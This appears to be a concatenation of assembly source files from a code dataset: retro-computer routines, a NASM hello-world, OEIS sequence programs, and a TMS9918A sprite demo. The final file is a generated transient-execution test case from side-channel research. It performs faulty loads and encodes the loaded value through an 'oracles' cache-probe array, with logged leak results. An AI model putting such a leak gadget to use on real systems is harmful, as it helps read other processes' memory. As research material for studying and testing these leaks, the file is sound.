35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
36.718232
2,999
0.658592
83baf98bc10834c8036f2eaff448f8b0d45de7d2
408
asm
Assembly
libsrc/enterprise/exos_write_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/enterprise/exos_write_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/enterprise/exos_write_block.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; Enterprise 64/128 specific routines ; by Stefano Bodrato, 2011 ; ; exos_write_block(unsigned char channel, unsigned int byte_count, unsigned char *address); ; ; ; $Id: exos_write_block.asm,v 1.2 2015/01/19 01:32:43 pauloscustodio Exp $ ; PUBLIC exos_write_block exos_write_block: pop af pop de pop bc pop hl push hl push bc push de push af ld a,l rst 30h defb 8 ld h,0 ld l,a ret
13.16129
91
0.708333
fd69e771a8f20d689e59c35f95ba9b4b647ea550
1,676
asm
Assembly
writer.asm
JacobLaney/x86-Assembly-Practice
dcf949cf912eae7136949e03d44effb958fb75ec
[ "MIT" ]
null
null
null
writer.asm
JacobLaney/x86-Assembly-Practice
dcf949cf912eae7136949e03d44effb958fb75ec
[ "MIT" ]
null
null
null
writer.asm
JacobLaney/x86-Assembly-Practice
dcf949cf912eae7136949e03d44effb958fb75ec
[ "MIT" ]
null
null
null
; Jacob Laney ; January 2016 ; ; NASM x86 for Mac OSX ; build: nasm -f macho64 writer.asm && ld writer.o -o writer ; run: ./writer ; ; Obective is to produce an assortment of procedures for printing data ; to stdout global start section .data ; SYSTEM CALL CODES %define exit 0x2000001 %define read 0x2000003 %define write 0x2000004 msg: db "Hello World!", 10, 0 .len: equ $ - msg section .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; start: default rel ; use relative addressing mov rsi, msg call WriteStr mov rax, exit mov rdi, 0 syscall ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; WriteStr(char * message) ; input: ; rsi - address of 0 terminated string max 100 chars ; output: ; prints string to stdout WriteStr: push rax push rdx push rdi push rsi push rcx mov ecx, 100 ; max 100 rep mov rdx, 0 ; count length of string StrLenCountLoop: ; check for termination of string cmp byte [rsi], 0 pushf inc rsi ; move to next address in string inc rdx ; increment size of string popf loopne StrLenCountLoop pop rcx pop rsi mov rax, write mov rdi, 1 ; stdout syscall ; write the string Return: pop rdi pop rdx pop rax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
23.942857
70
0.459427
7010c2844779b5eb51a0a6a99b866d01a2475504
440
asm
Assembly
oeis/123/A123160.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/123/A123160.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/123/A123160.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A123160: Triangle read by rows: T(0,0)=1; T(n,k) = n!(n+k-1)!/((n-k)!(n-1)!(k!)^2) for 0 <= k <= n. ; Submitted by Christian Krause ; 1,1,1,1,4,3,1,9,18,10,1,16,60,80,35,1,25,150,350,350,126,1,36,315,1120,1890,1512,462,1,49,588,2940,7350,9702,6468,1716,1,64,1008,6720,23100,44352,48048,27456,6435,1,81,1620,13860,62370,162162,252252,231660 lpb $0 mov $1,$0 add $2,1 sub $0,$2 sub $1,1 lpe bin $1,$0 bin $2,$0 mul $1,$2 mov $0,$1
29.333333
207
0.622727
f3f6bbcce39993b3dbdcc2a2795af762a2228b3c
7,225
asm
Assembly
examples/sprite.asm
feilipu/TMS9918A
c839cde61e2e70fadfec52a430f238852bb1c81b
[ "Unlicense" ]
1
2021-03-13T19:07:48.000Z
2021-03-13T19:07:48.000Z
examples/sprite.asm
feilipu/TMS9918A
c839cde61e2e70fadfec52a430f238852bb1c81b
[ "Unlicense" ]
null
null
null
examples/sprite.asm
feilipu/TMS9918A
c839cde61e2e70fadfec52a430f238852bb1c81b
[ "Unlicense" ]
null
null
null
; TMS9918A sprite example ; by J.B. Langston ramtop: equ $ffff im1vect: equ $38 ; location of interrupt mode 1 vector nmivect: equ $66 frameticks: equ 6 ; number of interrupts per animation frame framecount: equ 8 ; number of frames in animation org $100 jp start tmsfont: include "tms.asm" start: ld sp, ramtop call tmsbitmap ld bc, spritelen ld de, $1800 ld hl, sprite call tmswrite ld a, frameticks ; initialize interrupt counter to frame length ld (tickcounter), a ld hl, inthandler ; install the interrupt handler call nmisetup call tmsintenable ; enable interrupts on TMS mainloop: jr mainloop ; busy wait and let interrupts do their thing ; set up interrupt mode 1 vector ; HL = interrupt handler im1setup: di ld a, $C3 ; prefix with jump instruction ld (im1vect), a ld (im1vect+1), hl ; load interrupt vector im 1 ; enable interrupt mode 1 ei ret ; set up NMI vector ; HL = interrupt handler nmisetup: ld a, $C3 ; prefix with jump instruction ld (nmivect), a ld (nmivect+1), hl ; load interrupt vector ret ; interrupt handler: rotate animation frames inthandler: in a, (tmsreg) ; clear interrupt flag call drawframe ; draw next frame, if it's time ei reti tickcounter: defb 0 ; interrupt down counter currframe: defb 0 ; current frame of animation xdelta: defb 1 ; direction of x axis motion ydelta: defb 1 ; directino of y axis motion ; Sprite Attributes sprite1y: defb 88 sprite1x: defb 0 sprite1name: defb 0 sprite1color: defb tmsdarkblue sprite2y: defb 88 sprite2x: defb 0 sprite2name: defb 4 sprite2color: defb tmslightgreen ; change direction of motion ; HL = pointer to direction variable changedir: push af ld a, (hl) neg ld (hl), a pop af ret ; draw a single animation frame ; HL = animation data base address ; A = current animation frame number drawframe: ld hl, xdelta ; move x position ld a, (sprite1x) add a, (hl) ld (sprite1x), a ld (sprite2x), a cp 240 ; bounce off the edge call z, changedir cp 0 call z, changedir ld hl, ydelta ; move y position ld a, (sprite1y) add a, (hl) ld (sprite1y), a ld (sprite2y), a cp 176 ; bounce off the edge call z, changedir cp 0 call z, changedir ld a, (tickcounter) ; check if we've been called frameticks times or a jr nz, framewait ; if not, wait to draw next animation frame ld a, (currframe) ; next animation frame add a, a ; multiply current frame x 8 add a, a add a, a ld (sprite1name), a ; set name for first sprite add a, 4 ; add 4 ld (sprite2name), a ; set name for second sprite ld a, (currframe) ; next animation frame inc a cp framecount ; have we displayed all frames yet? jr nz, skipreset ; if not, display the next frame ld a, 0 ; if so, start over at the first frame skipreset: ld (currframe), a ; save next frame in memory ld a, frameticks ; reset interrupt down counter ld (tickcounter), a ret framewait: ld bc, 8 ; send updated sprite attribute table ld de, $3b00 ld hl, sprite1y call tmswrite ld hl, tickcounter ; not time to switch animation frames yet dec (hl) ; decrement down counter ret ; planet sprites from TI VDP Programmer's guide sprite: ; Sprite world0 pattern 1 defb $07,$1C,$38,$70,$78,$5C,$0E,$0F defb $0F,$1F,$7F,$63,$73,$3D,$1F,$07 defb $E0,$F8,$7C,$66,$F2,$BE,$DC,$FC defb $F8,$A0,$C0,$C0,$E2,$F4,$F8,$E0 ; Sprite world0 pattern 2 defb $00,$03,$07,$0F,$07,$A3,$F1,$F0 defb $F0,$E0,$80,$1C,$0C,$02,$00,$00 defb $00,$00,$80,$98,$0C,$41,$23,$03 defb $07,$5F,$3F,$3E,$1C,$08,$00,$00 ; Sprite world1 pattern 1 defb $03,$1F,$3E,$7C,$7E,$97,$03,$03 defb $03,$07,$1F,$78,$7C,$3F,$1F,$07 defb $E0,$38,$1C,$18,$3C,$2F,$B7,$FF defb $FE,$E8,$F0,$F0,$F8,$7C,$F8,$E0 ; Sprite world1 pattern 2 defb $00,$00,$01,$03,$01,$68,$FC,$FC defb $FC,$F8,$E0,$07,$03,$00,$00,$00 defb $00,$C0,$E0,$E6,$C2,$D0,$48,$00 defb $01,$17,$0F,$0E,$06,$80,$00,$00 ; Sprite world2 pattern 1 defb $07,$1F,$3F,$7F,$3F,$E5,$C0,$C0 defb $80,$01,$07,$1E,$3F,$3F,$1F,$07 defb $E0,$C8,$84,$06,$8E,$CB,$ED,$FF defb $FF,$FA,$FC,$3C,$3E,$DC,$F8,$E0 ; Sprite world2 pattern 2 defb $00,$00,$00,$00,$40,$1A,$3F,$3F defb $7F,$FE,$F8,$61,$40,$00,$00,$00 defb $00,$30,$78,$F8,$70,$34,$12,$00 defb $00,$05,$03,$C2,$C0,$20,$00,$00 ; Sprite world3 pattern 1 defb $07,$1F,$3F,$1F,$4F,$F9,$70,$F0 defb $E0,$80,$01,$07,$0F,$1F,$1F,$07 defb $E0,$F0,$E0,$C2,$E2,$72,$3B,$3F defb $3F,$7E,$FF,$8E,$CE,$F4,$F8,$E0 ; Sprite world3 pattern 2 defb $00,$00,$00,$60,$30,$06,$8F,$0F defb $1F,$7F,$FE,$78,$70,$20,$00,$00 defb $00,$08,$1C,$3C,$1C,$8D,$C4,$C0 defb $C0,$81,$00,$70,$30,$08,$00,$00 ; Sprite world4 pattern 1 defb $07,$1F,$3F,$67,$73,$BE,$DC,$FC defb $F8,$A0,$C0,$41,$63,$37,$1F,$07 defb $E0,$F8,$F8,$F0,$F8,$5C,$0E,$0F defb $0F,$1F,$7F,$E2,$F2,$FC,$F8,$E0 ; Sprite world4 pattern 2 defb $00,$00,$00,$18,$0C,$41,$23,$03 defb $07,$5F,$3F,$3E,$1C,$08,$00,$00 defb $00,$00,$04,$0E,$06,$A3,$F1,$F0 defb $F0,$E0,$80,$1C,$0C,$00,$00,$00 ; Sprite world5 pattern 1 defb $07,$1F,$1F,$19,$3C,$2F,$B7,$FF defb $FE,$E8,$F0,$70,$78,$3D,$1F,$07 defb $E0,$F8,$FC,$FC,$FE,$97,$03,$03 defb $03,$07,$1F,$78,$FC,$FC,$F8,$E0 ; Sprite world5 pattern 2 defb $00,$00,$20,$66,$43,$D0,$48,$00 defb $01,$17,$0F,$0F,$07,$02,$00,$00 defb $00,$00,$00,$02,$00,$68,$FC,$FC defb $FC,$F8,$E0,$86,$02,$00,$00,$00 ; Sprite world6 pattern 1 defb $07,$0F,$07,$06,$0F,$CB,$ED,$FF defb $FF,$FA,$FC,$3C,$3E,$1F,$1F,$07 defb $E0,$F8,$FC,$7E,$3E,$E5,$C0,$C0 defb $80,$01,$07,$1E,$3E,$7C,$F8,$E0 ; Sprite world6 pattern 2 defb $00,$10,$38,$79,$70,$34,$12,$00 defb $00,$05,$03,$43,$41,$20,$00,$00 defb $00,$00,$00,$80,$C0,$1A,$3F,$3F defb $7F,$FE,$F8,$E0,$C0,$80,$00,$00 ; Sprite world7 pattern 1 defb $07,$13,$21,$41,$63,$72,$3B,$3F defb $3F,$7E,$FF,$0F,$4F,$37,$1F,$07 defb $E0,$F8,$FC,$9E,$CE,$F9,$70,$F0 defb $E0,$80,$01,$06,$8E,$DC,$F8,$E0 ; Sprite world7 pattern 2 defb $00,$0C,$1E,$3E,$1C,$8D,$C4,$C0 defb $C0,$81,$00,$70,$30,$08,$00,$00 defb $00,$00,$00,$60,$30,$06,$8F,$0F defb $1F,$7F,$FE,$F8,$70,$20,$00,$00 spritelen: equ $-sprite
31.413043
83
0.537301
98b6f3bb3e3fe1a63d39aaff8194bd57e163cff9
465
asm
Assembly
programs/oeis/177/A177228.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/177/A177228.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/177/A177228.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A177228: A combinatorial differential triangle sequence:q=3;t=1/q;f(t,n)=d^n/dt^n*(t/(1+t); c(t.n,m)=(1/(1+t)*f(n,t)/(f(t,m)*f(t,(n-m)) ; 3,3,3,3,-2,3,3,-3,-3,3,3,-4,-6,-4,3,3,-5,-10,-10,-5,3,3,-6,-15,-20,-15,-6,3,3,-7,-21,-35,-35,-21,-7,3,3,-8,-28,-56,-70,-56,-28,-8,3,3,-9,-36,-84,-126,-126,-84,-36,-9,3,3,-10,-45,-120,-210,-252,-210,-120,-45,-10 cal $0,141540 ; Duplicate of A132046. mov $1,4 trn $1,$0 mul $1,3 sub $1,$0 mul $1,2 sub $1,13 div $1,4 add $1,3
35.769231
212
0.541935
5878e0ae7997fcffe57b5e129fd84a1512aad45b
242
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_loadBGPalette.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_loadBGPalette.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/SMS_loadBGPalette.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void SMS_loadBGPalette(void *palette) SECTION code_clib SECTION code_SMSlib PUBLIC _SMS_loadBGPalette EXTERN asm_SMSlib_loadBGPalette _SMS_loadBGPalette: pop af pop hl push hl push af jp asm_SMSlib_loadBGPalette
12.736842
39
0.768595
d2ac94c46eed3e97bc537a8f91ee2f1210cc0f60
685
asm
Assembly
oeis/192/A192847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/192/A192847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/192/A192847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A192847: Molecular topological indices of the tetrahedral graphs. ; Submitted by Jon Maiga ; 0,0,0,72,1080,7020,30240,100800,281232,687960,1520640,3100680,5920200,10702692,18476640,30663360,49180320,76561200,116093952,171978120,249502680,355245660,497296800,685504512,931748400,1250238600,1657843200,2174445000,2823328872,3631600980,4630641120,5856589440,7350868800,9160744032,11339919360,13949175240,17057045880,20740538700,25085896992,30189407040,36158250960,43111406520,51180595200,60511279752,71263712520,83614035780,97755435360,113899348800,132276729312,153139366800,176761267200 mov $1,$0 add $1,1 mov $3,-2 add $3,$0 bin $0,3 mov $2,$1 add $3,$0 mul $2,$3 mul $0,$2 mul $0,9
45.666667
493
0.826277
1670f808fa095d9465a4f5d0108fdb8de8c741d3
650
asm
Assembly
oeis/328/A328352.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/328/A328352.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/328/A328352.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A328352: Similar to A328350, but for 5 digits rather then 3. ; 0,1,56,2831,141706,7086081,354307956,17715417331,885770964206,44288548698581,2214427437370456,110721371880729831,5536068594097526706,276803429705181511081,13840171485260601432956,692008574263037701042331,34600428713151923199089206,1730021435657596350689323581,86501071782879818488140495456,4325053589143990929175396354831,216252679457199546482611675651706,10812633972859977324249793072136081,540631698642998866213085700054557956,27031584932149943310657265234966667331 lpb $0 mov $2,$0 sub $0,1 seq $2,86578 ; a(n) = 7*(10^n - 1). add $3,$2 mul $3,5 lpe mov $0,$3 div $0,315
50
469
0.84
495a412f7ff18d6cecb0bd72bd4b34f0836fe41b
9,465
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i3-7100_9_0x84_notsx.log_21829_3090.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i3-7100_9_0x84_notsx.log_21829_3090.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i3-7100_9_0x84_notsx.log_21829_3090.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x7c6, %rdx nop nop cmp %r13, %r13 vmovups (%rdx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r8 nop nop nop nop dec %rdi lea addresses_A_ht+0x14ac6, %rsi lea addresses_WC_ht+0x18bee, %rdi nop and $40640, %rax mov $108, %rcx rep movsl sub $53218, %r13 lea addresses_normal_ht+0x1dc36, %rsi clflush (%rsi) nop nop nop nop xor %rdx, %rdx movl $0x61626364, (%rsi) nop inc %rax lea addresses_D_ht+0x14466, %rsi lea addresses_UC_ht+0x16f86, %rdi clflush (%rdi) nop nop cmp $28813, %r12 mov $106, %rcx rep movsb nop nop nop nop nop and %rax, %rax lea addresses_UC_ht+0x13b17, %rsi lea addresses_A_ht+0x148bc, %rdi clflush (%rdi) nop nop cmp %r8, %r8 mov $19, %rcx rep movsl nop nop and $22310, %rax lea addresses_A_ht+0x8f42, %rsi lea addresses_WC_ht+0x1dc56, %rdi nop nop xor %r13, %r13 mov $5, %rcx rep movsq nop nop nop nop and %r8, %r8 lea addresses_D_ht+0x846, %rax nop nop add $38829, %rdx mov (%rax), %r8d cmp $63775, %rdi lea addresses_WC_ht+0x1a46, %rdi nop nop nop cmp $57176, %r12 movb (%rdi), %cl nop nop nop sub $7410, %rax lea addresses_D_ht+0x76c6, %rsi lea addresses_normal_ht+0x110f6, %rdi clflush (%rdi) nop nop nop nop cmp %rdx, %rdx mov $3, %rcx rep movsl nop cmp %r12, %r12 lea addresses_WT_ht+0x18246, %rsi lea addresses_D_ht+0x5d05, %rdi nop nop nop nop nop cmp $43423, %r8 mov $58, %rcx rep movsl nop nop cmp $39970, %r13 lea addresses_normal_ht+0x1103f, %rdi nop nop nop nop cmp $10797, %rsi mov (%rdi), %cx nop nop sub %r8, %r8 lea addresses_normal_ht+0x19946, %rsi lea addresses_normal_ht+0xc946, %rdi clflush (%rdi) nop nop nop nop sub %r8, %r8 mov $70, %rcx rep movsb nop nop nop add $16538, %r8 lea addresses_WT_ht+0x3c6f, %rsi lea addresses_UC_ht+0x16886, %rdi nop cmp %r13, %r13 mov $47, %rcx rep movsl nop cmp %rsi, %rsi lea addresses_D_ht+0xf346, %r12 clflush (%r12) nop nop sub $421, %rdx movw $0x6162, (%r12) nop nop nop inc %r13 lea addresses_D_ht+0x654e, %rsi lea addresses_UC_ht+0x11096, %rdi nop nop nop dec %r8 mov $87, %rcx rep movsw sub %r8, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_normal+0x7946, %rsi lea addresses_WT+0x168c6, %rdi nop nop add $39556, %rbx mov $120, %rcx rep movsl nop nop nop nop xor $16654, %rsi // Store lea addresses_WC+0x13146, %r12 nop nop nop nop cmp $64583, %rbx movw $0x5152, (%r12) nop add $8350, %rbx // Store lea addresses_A+0x1ecc, %r12 sub $47437, %rbx movb $0x51, (%r12) nop nop nop nop nop sub $30208, %r12 // Store lea addresses_WT+0xf6e6, %r12 nop nop nop sub $17194, %rdx mov $0x5152535455565758, %r14 movq %r14, %xmm1 movups %xmm1, (%r12) nop nop sub $16961, %rsi // Store lea addresses_RW+0x1e3de, %r12 nop nop nop nop add $14638, %rsi mov $0x5152535455565758, %rbx movq %rbx, %xmm5 movups %xmm5, (%r12) nop nop nop nop dec %rsi // Faulty Load lea addresses_normal+0x1f946, %rdi nop and $12171, %rcx vmovntdqa (%rdi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbx lea oracles, %rdx and $0xff, %rbx shlq $12, %rbx mov (%rdx,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC', 'same': True, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'00': 39, '49': 222, '46': 10118, '45': 2426, '44': 3241, '34': 5783} 45 44 46 34 46 45 34 44 45 34 44 45 34 46 34 46 46 34 46 46 34 46 45 34 46 44 34 46 45 46 46 34 46 45 46 34 44 44 34 44 46 34 46 45 46 34 46 46 46 34 44 46 46 44 45 34 46 46 44 46 34 44 46 46 46 46 34 46 46 46 46 46 34 46 34 44 44 46 46 49 45 46 34 49 46 46 34 46 45 34 34 44 34 46 45 34 46 45 46 46 46 46 46 46 34 44 46 46 49 46 45 34 46 45 46 34 44 45 46 34 46 46 46 34 44 46 34 46 34 45 46 34 44 45 46 46 45 34 46 34 34 45 46 34 46 46 34 44 34 46 46 34 46 46 46 46 46 34 46 45 34 46 46 34 44 45 34 45 46 34 44 45 34 44 45 34 46 46 46 34 46 45 46 46 34 46 45 46 34 46 46 34 44 45 46 34 34 44 46 34 46 44 46 34 49 44 46 34 46 45 46 46 46 46 34 44 45 46 44 46 34 44 46 46 46 46 34 44 45 34 44 46 34 46 46 34 44 45 34 44 46 46 46 34 46 46 34 44 34 46 46 34 44 46 34 46 34 46 45 34 46 46 34 46 45 46 34 46 46 34 44 46 34 44 46 46 34 44 34 46 45 34 46 44 34 46 46 34 46 45 34 46 45 46 34 46 44 46 34 44 46 46 46 46 46 46 46 34 46 45 46 34 44 46 34 46 44 34 46 46 46 46 34 44 34 46 45 46 34 46 45 34 44 44 46 46 44 46 49 44 46 46 44 46 34 44 46 46 34 46 45 34 46 45 46 34 44 44 46 49 46 34 46 46 34 46 46 34 46 46 46 46 46 46 34 49 46 46 46 45 46 46 34 45 46 34 46 34 46 46 46 44 46 46 44 45 46 46 46 44 45 34 44 45 34 46 00 34 46 46 46 46 34 46 46 34 44 46 34 46 45 46 44 45 46 34 44 44 46 34 46 44 34 46 46 34 46 45 46 34 34 46 44 45 46 34 46 46 46 44 46 34 46 45 34 44 45 34 49 46 46 46 44 46 34 46 45 34 46 45 46 34 46 44 34 44 46 46 46 34 46 46 34 44 